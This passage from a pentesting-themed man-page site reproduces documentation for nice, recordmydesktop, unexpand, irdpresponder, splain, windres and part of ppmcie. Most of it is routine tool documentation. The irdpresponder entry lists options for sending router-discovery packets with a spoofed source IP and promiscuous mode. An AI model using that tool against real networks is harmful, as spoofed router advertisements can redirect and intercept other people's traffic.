run a program with modified scheduling priority

SYNOPSIS

nice [OPTION] [COMMAND [ARG]…]

DESCRIPTION

Run COMMAND with an adjusted niceness, which affects process scheduling. With no COMMAND, print the current niceness. Niceness values range from -20 (most favorable to the process) to 19 (least favorable to the process).

Mandatory arguments to long options are mandatory for short options too.

-n, –adjustment=N
add integer N to the niceness (default 10)

–help
display this help and exit

–version
output version information and exit

NOTE: your shell may have its own version of nice, which usually supersedes the version described here. Please refer to your shell’s documentation for details about the options it supports.

Exit status:

125
if the nice command itself fails

126
if COMMAND is found but cannot be invoked

127
if COMMAND cannot be found

-
the exit status of COMMAND otherwise

AUTHOR

Written by David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

nice(2), renice(1)

Full documentation <https://www.gnu.org/software/coreutils/nice>
or available locally via: info ‘(coreutils) nice invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

928 - Linux cli command recordmydesktop

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command recordmydesktop and provides detailed information about the command recordmydesktop, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the recordmydesktop.

Name

recordMyDesktop - record desktop sessions to an Ogg Theora video file with Vorbis audio

Synopsis

recordmydesktop

recordmydesktop output-filename

recordmydesktop –rescue path-to-data

recordmydesktop {image-options|sound-options|encoding-options|miscellaneous-options"|}

recordmydesktop {-h|–help}

recordmydesktop –version

recordmydesktop –print-config

Description

recordMyDesktop produces a file (out.ogv by default) containing a video and audio recording of an X Window System session.

For a typical scenario, recording your session is as simple as

$ recordmydesktop

which will produce a full-screen recording named out.ogv in the current working directory, while the command

$ recordmydesktop ../foo

will save the recording in foo.ogv in the parent of the current working directory.

To end a recording, press Control+C. (This action sends a SIGINT to recordMyDesktop.)

To designate a region of the screen for recording you can type this:

$ recordmydesktop -x x-pos -y y-pos –width w –height h -o foo.ogv

where x-pos and y-pos specify the offset in pixels from the upper-left corner of your screen and w and h the size of the region to be recorded, again in pixels. If the area extends beyond your current resolution, you will be notified appropriately and nothing will happen.

Note: If any options are used, and you wish to use an output filename other than the default, you must specify it with the -o option.

Since version 0.3 of recordMyDesktop, encoding is done immediately after recording finishes. While this behavior saves a lot of CPU, you can revert to the old one by specifying the –on-the-fly-encoding option.

The default behavior of recording is to mark areas that have changed (as determined by the X Damage extension) and update the frame. This behavior can be changed through the option –full-shots to produce a more accurate result or capture windows that do not generate X events on change, such as windows with accelerated 3D context, but this will notably increase the workload.

recordMyDesktop doesn’t have a user interface in the conventional sense. After startup, it can be controlled only through the following signals:

SIGUSR1
causes the program to pause if it’s currently recording, and vice-versa.

SIGTERM
SIGINT
cause normal termination of the recording.

SIGABRT
terminates the program and removes the output file.

These signals can also be delivered to the application through the configuration of keyboard shortcuts. See –pause-shortcut and –stop-shortcut in the Miscellaneous subsection of the Options section below.

For further manipulation of the end result, consult the Options and Notes sections below.

Options

If and only if no options are specified, recordMyDesktop accepts a single operand which it interprets as an output filename.

recordMyDesktop accepts many command-line options. The following discussion groups them into families.

General

-h or –help
Print a summary of usage and exit.

–version
Print program version and exit.

–print-config
Print information about options selected during compilation and exit. Currently indicates whether Jack capture is enabled and if ALSA or OSS is used; may report more information in the future.

Image

–windowid* wid*
Record the region of the screen corresponding to the X window wid at the time recordMyDesktop starts. Recording a window doesn’t track the window itself, but instead the region that it covers; if the window is moved, recordMyDesktop does not follow it. If the window is obscured by another, the obscuring window’s contents within the recording region are captured. An X client’s window ID can be obtained with the xwininfo(1) program; see the Notes section below.

–display* x-display*
Connect to the X Window System display at x-display. By default, the value of the DISPLAY environment variable are used to the determine the display.

-x* x-offset*
Restrict the recording region to start at x-offset pixels from the left edge of the screen or the X window ID designated with –windowid. The default is 0.

-y* y-offset*
Restrict the recording region to start at y-offset pixels from the top edge of the screen or the X window ID designated with –windowid. The default is 0.

–width* w*
Restrict the recording region to w pixels in width. The default is the full width of the screen or the X window ID designated with –windowid.

–height* h*
Restrict the recording region to h pixels in height. The default is the full height of the screen or the X window ID designated with –windowid.

–dummy-cursor* color*
Draw a dummy cursor instead of the normal one. The given color must be a string, either “black” or “white”.

–no-cursor
Disable drawing of the cursor.

–no-shared
Do not use the MIT shared memory extension (MIT-SHM). Use of this option is not recommended.

–full-shots
Take a full screenshot at every frame. Use of this option is not recommended.

–follow-mouse
When this option is enabled, the capture area follows the mouse cursor. This is meaningful only when the selected area is a subset of the full screen. This option implies –full-shots.

–quick-subsampling
Sub-sample chroma planes by discarding extra pixels.

–fps* n*
Attempt to capture n frames per second, where n is positive and may be an integral or floating-point number. The achievable frame rate is limited by your system’s hardware and workload. The default is 15.

Sound

–channels* n*
Record up to n channels, where n is a positive integer. The default is 2 (stereo).

–freq* n*
Record at a sample rate of n hertz, where n is a positive integer. The default is 22050 (22.05 kHz).

–buffer-size* n*
Buffer n bytes of sound data when using the ALSA or OSS sound systems, where n is a positive integer. The default is 4096 (4 kiB).

–ring-buffer-size* n*
Set the size of the JACK ring buffer in seconds, where n is a positive floating-point number. The default is 3.0.

The total size of the buffer in bytes can be expressed as a C language expression:

ring_buffer_size * sample_rate * number_of_ports
        * sizeof(jack_default_audio_sample_t),

where

sizeof(jack_default_audio_sample_t)

is normally 4.

–device* sound-device*
Capture audio from sound-device. The default is default or /dev/dsp, depending on whether ALSA or OSS is used, respectively.

–use-jack* port …*
Record audio from the specified list of space-separated JACK ports. When using this option, all other audio-related options (except –no-sound) are ignored.

–no-sound
Do not record sound.

Encoding

–on-the-fly-encoding
Encode the audio/video data while recording. The default is to defer encoding until after recording is complete.

–v_quality* n*
Set the desired video quality to n, an integer between 0 and 63 inclusive; higher is better. The default is 63. See the Notes section below.

–v_bitrate* n*
Set the desired bit rate of the encoded video to n bits per second. The accepted range of n is between 0 and 200,000,000 inclusive; the default is 0. (The thousands separator is shown here for clarity; do not use it in the option argument.)

–s_quality* n*
Set the desired audio quality to n, an integer between -1 and 10 inclusive; higher is better. The default is 10.

Miscellaneous

–rescue* path-to-data*
Encode cache data from a previous session into an Ogg Theora file. The filename will be the one that was chosen initially. Any other option specified with this one will be implicitly ignored and recordMyDesktop will exit after the end of the encoding. This option was added in recordMyDesktop 0.3.7 and it will not work with cache files produced from earlier versions. When using this option, note that recordMyDesktop’s cache is not safe with respect to data type sizes and endianness. To locate the cached data, see the –workdir option below.

–no-wm-check
When a 3D compositing window manager is detected, the program will function as if the –full-shots option had been specified. This option disables the check.

–no-frame
Normally, a frame is drawn around the recording region to assist the user to identify what does and doesn’t get captured. When the –follow-mouse is given, this frame will also follow the pointer around. However, the frame might cause problems for drag-and-drop operations. If you do not wish this frame to appear, use this option.

–pause-shortcut* mod***+**key
Designate a key combination to toggle the pause state of the recording. mod can be any combination of the following modifier keys: Control, Shift, and Mod1 to Mod5. The modifiers can be separated by any character (except a space) or none at all. key can be any key defined in

Omit the XK_ prefixes to the key names found in that file. The list of modifiers must be separated from the key with a plus sign “+”. The default is Control+Mod1+p. (Mod1 usually corresponds to the left Alt key).

–stop-shortcut* mod***+**key
Designate a key combination to stop the recording. For details, see –pause-shortcut above. The default is Control+Mod1+s.

–compress-cache
Image data are cached with a light compression.

–workdir* dir*
recordMyDesktop creates a temporary directiory in dir to cache intermediate files. The default is read from the environment variable TMPDIR if set, otherwise /tmp is used.

–delay* n[H|h|M|m]*
Wait n units of time (seconds, if not specified) before starting the recording, where n is a non-negative integral or floating-point value. An optional suffix of H or h, M or m; indicates time units of hours or minutes, respectively. The default is no delay.

–overwrite
If the output filename already exists, delete it. The default is to refuse to overwrite, interpolating a numeric discriminator into the filename instead (see the Files section below).

-o* filename*
Write the encoded video to filename. The default is out.ogv.

Exit Status

An exit status of 0 means success per the usual Unix conventions.

A non-zero exit status means that an error occurred; these are accompanied by diagnostic messages to the standard error. Furthermore, several exceptional conditions are distinguished by exit status.

  1. Argument parsing failed or argument input was nonsensical.

  2. Encoder initialization failed (Vorbis or Theora).

  3. Could not open or configure sound device.

  4. XDamage extension is not present.

  5. MIT-SHM extension is not present.

  6. XFixes extension is not present.

  7. XInitThreads(3) failed.

  8. The DISPLAY environment variable is not set and no –display option was specified.

  9. Could not connect to the X server.

  10. The color depth of the root window is not 32, 24, or 16 bits per pixel.

  11. The recording window specification was invalid.

  12. Could not attach shared memory to process.

  13. Could not open file for writing.

Environment

DISPLAY
specifies the X server to connect to. For typical use cases, this variable is already set correctly in the environment and corresponds to the X display the user is already interacting with (in other words, recordMyDesktop “does the right thing”). See section Display Names in X(7) for more information.

Files

recordMyDesktop adds the suffix .ogv to any output filename that does not already possess one (in any letter case).

If you try to save to a filename that already exists, a numeric discriminator of the form -n is interpolated into the filename before the .ogv suffix. The number n starts at 1 and is incremented if the filename with that discriminator exists already.

For example, when not specifying a name, if out.ogv exists, the new file will be out-1.ogv, and if that exists too, out-2.ogv is used, and so on ad infinitum (not really, more like ad unsigned short).

Notes

Recoding using an X window ID

When using the –windowid option, read carefully its description in the Options section above, as well as those of the -x, -y, –width, and –height options.

An easy way to find out the ID of a window is by using the xwininfo(1) program. Running a command like

$ xwininfo | awk ‘/Window id:/ {print $4}’

will report only the window ID, which will be a hexadecimal integer in C literal format, like “0x4800005”. More conveniently, you can put all that in the command that launches recordMyDesktop like this:

$ recordmydesktop –windowid $(xwininfo | awk ‘/Window id:/ {print $4}’)

Tuning the video quality

The lower the quality you select on a video recording (by using the –v_quality option), the more CPU performance you will require. So if you are also using the –on-the-fly-encoding option, it’s better to start with default values and manipulate the end result with another program. An excellent converter is the vlc(1) media player, which can perform a variety of transcoding operations, using either a graphical interface or the command line. vlc is a complex piece of software; you should consult its documentation before using it. An example follows which will resize a recording named out.ogv to 512×384.

$ vlc -I dummy out.ogv vlc:quit –sout “#transcode{ vcodec = theo, width = 512, height = 384 }:duplicate{ dst = std{ access = file, mux=ogg, dst = \out_512x384.ogv\ }}”

If you wish to change the video quality you can append the option **–sout-theora-quality=**n, with n in the range [1,10]; for example,

$ vlc -I dummy out.ogv vlc:quit –sout “#transcode{ vcodec = theo, width = 512, height = 384 }:duplicate{ dst = std{ access = file, mux=ogg, dst = \out_512x384.ogv\ }}” –sout-theora-quality=3

produces a file of a video quality 18 (in a range of 0–63), appropriate for web publishing.

Another option is ffmpeg2theora(1), which—despite its name—is also a Theora-to-Theora converter. Changing the quality of a recordng with it can be as simple as:

$ ffmpeg2theora infile.ogv -v 3 -a 4 -o outfile.ogv

It can even perform resizing on the geometry of the recording, or change the overall duration.

Bugs

  • Does not record 3D windows if –full-shots isn’t specified.

  • Saving 65536 files with the same name will result in unpredictable behavior, which might manifest as an endless loop or a segmentation fault.

Authors

John Varouhakis

See Also

X(7), ffmpeg2theora(1), jack_lsp(1), vlc(1), xwininfo(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

929 - Linux cli command unexpand

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command unexpand and provides detailed information about the command unexpand, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the unexpand.

NAME 🖥️ unexpand 🖥️

convert spaces to tabs

SYNOPSIS

unexpand [OPTION]… [FILE]…

DESCRIPTION

Convert blanks in each FILE to tabs, writing to standard output.

With no FILE, or when FILE is -, read standard input.

Mandatory arguments to long options are mandatory for short options too.

-a, –all
convert all blanks, instead of just initial blanks

–first-only
convert only leading sequences of blanks (overrides -a)

-t, –tabs=N
have tabs N characters apart instead of 8 (enables -a)

-t, –tabs=LIST
use comma separated list of tab positions. The last specified position can be prefixed with ‘/’ to specify a tab size to use after the last explicitly specified tab stop. Also a prefix of ‘+’ can be used to align remaining tab stops relative to the last specified tab stop instead of the first column

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

expand(1)

Full documentation <https://www.gnu.org/software/coreutils/unexpand>
or available locally via: info ‘(coreutils) unexpand invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

930 - Linux cli command irdpresponder

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command irdpresponder and provides detailed information about the command irdpresponder, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the irdpresponder.

NAME 🖥️ irdpresponder 🖥️

irdpresponder packet sender

DESCRIPTION

This manual page documents briefly the irdpresponder command. This manual page was written for the Debian distribution because the original program does not have a manual page.

-v verbose

-P enable promiscuous mode

-i <interface> interface

-p <preference> preference of this entry, default is 0

-l <lifetime> lifetime of the entry, default: 1800

-S <spoofed source IP> maybe you need this

-D <destination IP> If you don’t specify this, the broadcast address is used

AUTHOR

This manual page was written by Vince Mulhollon <[email protected]>, for the Debian GNU/Linux system (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

931 - Linux cli command splain

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command splain and provides detailed information about the command splain, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the splain.

NAME 🖥️ splain 🖥️

produce verbose warning diagnostics

SYNOPSIS

Using the diagnostics pragma:

use diagnostics; use diagnostics -verbose; enable diagnostics; disable diagnostics;

Using the splain standalone filter program:

perl program 2>diag.out splain [-v] [-p] diag.out

Using diagnostics to get stack traces from a misbehaving script:

perl -Mdiagnostics=-traceonly my_script.pl

DESCRIPTION

The “diagnostics” Pragma

This module extends the terse diagnostics normally emitted by both the perl compiler and the perl interpreter (from running perl with a -w switch or use warnings), augmenting them with the more explicative and endearing descriptions found in perldiag. Like the other pragmata, it affects the compilation phase of your program rather than merely the execution phase.

To use in your program as a pragma, merely invoke

use diagnostics;

at the start (or near the start) of your program. (Note that this does enable perl’s -w flag.) Your whole compilation will then be subject(ed :-) to the enhanced diagnostics. These still go out STDERR.

Due to the interaction between runtime and compiletime issues, and because it’s probably not a very good idea anyway, you may not use no diagnostics to turn them off at compiletime. However, you may control their behaviour at runtime using the disable() and enable() methods to turn them off and on respectively.

The -verbose flag first prints out the perldiag introduction before any other diagnostics. The $diagnostics::PRETTY variable can generate nicer escape sequences for pagers.

Warnings dispatched from perl itself (or more accurately, those that match descriptions found in perldiag) are only displayed once (no duplicate descriptions). User code generated warnings a la warn() are unaffected, allowing duplicate user messages to be displayed.

This module also adds a stack trace to the error message when perl dies. This is useful for pinpointing what caused the death. The -traceonly (or just -t) flag turns off the explanations of warning messages leaving just the stack traces. So if your script is dieing, run it again with

perl -Mdiagnostics=-traceonly my_bad_script

to see the call stack at the time of death. By supplying the -warntrace (or just -w) flag, any warnings emitted will also come with a stack trace.

The splain Program

Another program, splain is actually nothing more than a link to the (executable) diagnostics.pm module, as well as a link to the diagnostics.pod documentation. The -v flag is like the use diagnostics -verbose directive. The -p flag is like the $diagnostics::PRETTY variable. Since you’re post-processing with splain, there’s no sense in being able to enable() or disable() processing.

Output from splain is directed to STDOUT, unlike the pragma.

EXAMPLES

The following file is certain to trigger a few errors at both runtime and compiletime:

use diagnostics; print NOWHERE “nothing “; print STDERR " This message should be unadorned. “; warn " This is a user warning”; print " DIAGNOSTIC TESTER: Please enter a <CR> here: “; my $a, $b = scalar <STDIN>; print " “; print $x/$y;

If you prefer to run your program first and look at its problem afterwards, do this:

perl -w test.pl 2>test.out ./splain < test.out

Note that this is not in general possible in shells of more dubious heritage, as the theoretical

(perl -w test.pl >/dev/tty) >& test.out ./splain < test.out

Because you just moved the existing stdout to somewhere else.

If you don’t want to modify your source code, but still have on-the-fly warnings, do this:

exec 3>&1; perl -w test.pl 2>&1 1>&3 3>&- | splain 1>&2 3>&-

Nifty, eh?

If you want to control warnings on the fly, do something like this. Make sure you do the use first, or you won’t be able to get at the enable() or disable() methods.

use diagnostics; # checks entire compilation phase print " time for 1st bogus diags: SQUAWKINGS “; print BOGUS1 nada; print “done with 1st bogus “; disable diagnostics; # only turns off runtime warnings print " time for 2nd bogus: (squelched) “; print BOGUS2 nada; print “done with 2nd bogus “; enable diagnostics; # turns back on runtime warnings print " time for 3rd bogus: SQUAWKINGS “; print BOGUS3 nada; print “done with 3rd bogus “; disable diagnostics; print " time for 4th bogus: (squelched) “; print BOGUS4 nada; print “done with 4th bogus “;

INTERNALS

Diagnostic messages derive from the perldiag.pod file when available at runtime. Otherwise, they may be embedded in the file itself when the splain package is built. See the Makefile for details.

If an extant $SIG{_ _WARN_ _} handler is discovered, it will continue to be honored, but only after the diagnostics::splainthis() function (the module’s $SIG{_ _WARN_ _} interceptor) has had its way with your warnings.

There is a $diagnostics::DEBUG variable you may set if you’re desperately curious what sorts of things are being intercepted.

BEGIN { $diagnostics::DEBUG = 1 }

BUGS

Not being able to say “no diagnostics” is annoying, but may not be insurmountable.

The -pretty directive is called too late to affect matters. You have to do this instead, and before you load the module.

BEGIN { $diagnostics::PRETTY = 1 }

I could start up faster by delaying compilation until it should be needed, but this gets a “panic: top_level” when using the pragma form in Perl 5.001e.

While it’s true that this documentation is somewhat subserious, if you use a program named splain, you should expect a bit of whimsy.

AUTHOR

Tom Christiansen <[email protected]>, 25 June 1995.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

932 - Linux cli command i686-w64-mingw32-windres

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command i686-w64-mingw32-windres and provides detailed information about the command i686-w64-mingw32-windres, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the i686-w64-mingw32-windres.

NAME 🖥️ i686-w64-mingw32-windres 🖥️

manipulate Windows resources

SYNOPSIS

windres [options] [input-file] [output-file]

DESCRIPTION

windres reads resources from an input file and copies them into an output file. Either file may be in one of three formats:

“rc”
A text format read by the Resource Compiler.

“res”
A binary format generated by the Resource Compiler.

“coff”
A COFF object or executable.

The exact description of these different formats is available in documentation from Microsoft.

When windres converts from the rc format to the res format, it is acting like the Windows Resource Compiler. When windres converts from the res format to the coff format, it is acting like the Windows CVTRES program.

When windres generates an rc file, the output is similar but not identical to the format expected for the input. When an input rc file refers to an external filename, an output rc file will instead include the file contents.

If the input or output format is not specified, windres will guess based on the file name, or, for the input file, the file contents. A file with an extension of .rc will be treated as an rc file, a file with an extension of .res will be treated as a res file, and a file with an extension of .o or .exe will be treated as a coff file.

If no output file is specified, windres will print the resources in rc format to standard output.

The normal use is for you to write an rc file, use windres to convert it to a COFF object file, and then link the COFF file into your application. This will make the resources described in the rc file available to Windows.

OPTIONS

-i filename

–input filename

The name of the input file. If this option is not used, then windres will use the first non-option argument as the input file name. If there are no non-option arguments, then windres will read from standard input. windres can not read a COFF file from standard input.

-o filename

–output filename

The name of the output file. If this option is not used, then windres will use the first non-option argument, after any used for the input file name, as the output file name. If there is no non-option argument, then windres will write to standard output. windres can not write a COFF file to standard output. Note, for compatibility with rc the option -fo is also accepted, but its use is not recommended.

-J format

–input-format format

The input format to read. format may be res, rc, or coff. If no input format is specified, windres will guess, as described above.

-O format

–output-format format

The output format to generate. format may be res, rc, or coff. If no output format is specified, windres will guess, as described above.

-F target

–target target

Specify the BFD format to use for a COFF file as input or output. This is a BFD target name; you can use the –help option to see a list of supported targets. Normally windres will use the default format, which is the first one listed by the –help option.

–preprocessor program
When windres reads an rc file, it runs it through the C preprocessor first. This option may be used to specify the preprocessor to use. The default preprocessor is gcc.

–preprocessor-arg option
When windres reads an rc file, it runs it through the C preprocessor first. This option may be used to specify additional text to be passed to preprocessor on its command line. This option can be used multiple times to add multiple options to the preprocessor command line. If the –preprocessor option has not been specified then a default set of preprocessor arguments will be used, with any –preprocessor-arg options being placed after them on the command line. These default arguments are -E, -xc-header and -DRC_INVOKED.

-I directory

–include-dir directory

Specify an include directory to use when reading an rc file. windres will pass this to the preprocessor as an -I option. windres will also search this directory when looking for files named in the rc file. If the argument passed to this command matches any of the supported formats (as described in the -J option), it will issue a deprecation warning, and behave just like the -J option. New programs should not use this behaviour. If a directory happens to match a format, simple prefix it with ./ to disable the backward compatibility.

-D target

–define sym[=val]

Specify a -D option to pass to the preprocessor when reading an rc file.

-U target

–undefine sym

Specify a -U option to pass to the preprocessor when reading an rc file.

-r
Ignored for compatibility with rc.

-v
Enable verbose mode. This tells you what the preprocessor is if you didn’t specify one.

-c val

–codepage val

Specify the default codepage to use when reading an rc file. val should be a hexadecimal prefixed by 0x or decimal codepage code. The valid range is from zero up to 0xffff, but the validity of the codepage is host and configuration dependent.

-l val

–language val

Specify the default language to use when reading an rc file. val should be a hexadecimal language code. The low eight bits are the language, and the high eight bits are the sublanguage.

–use-temp-file
Use a temporary file to instead of using popen to read the output of the preprocessor. Use this option if the popen implementation is buggy on the host (eg., certain non-English language versions of Windows 95 and Windows 98 are known to have buggy popen where the output will instead go the console).

–no-use-temp-file
Use popen, not a temporary file, to read the output of the preprocessor. This is the default behaviour.

-h

–help

Prints a usage summary.

-V

–version

Prints the version number for windres.

–yydebug
If windres is compiled with YYDEBUG defined as 1, this will turn on parser debugging.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

933 - Linux cli command ppmcie

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmcie and provides detailed information about the command ppmcie, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmcie.

.

NAME 🖥️ ppmcie 🖥️

draw a CIE color chart as a PPM image

SYNOPSIS

ppmcie

[ -rec709|-cie|-ebu|-hdtv|-ntsc|-smpte ] [-xy|-upvp]

[-red rx ry]

[-green gx gy]

[-blue bx by]

[-white wx wy]

[-size edge]

[{-xsize|-width} width]

[{-ysize|-height} height]

[-noblack] [-nowpoint] [-nolabel] [-noaxes] [-full]

DESCRIPTION

This program is part of Netpbm(1) .

ppmcie creates a PPM file containing a plot of the CIE “tongue” color chart – to the extent possible in a PPM image. Alternatively, creates a pseudo-PPM image of the color tongue using RGB values from a color system of your choice.

The CIE color tongue is an image of all the hues that can be described by CIE X-Y chromaticity coordinates. They are arranged on a two dimensional coordinate plane with the X chromaticity on the horizontal axis and the Y chromaticity on the vertical scale. (You can choose alternatively to use CIE u’-v’ chromaticity coordinates, but the general idea of the color tongue is the same).

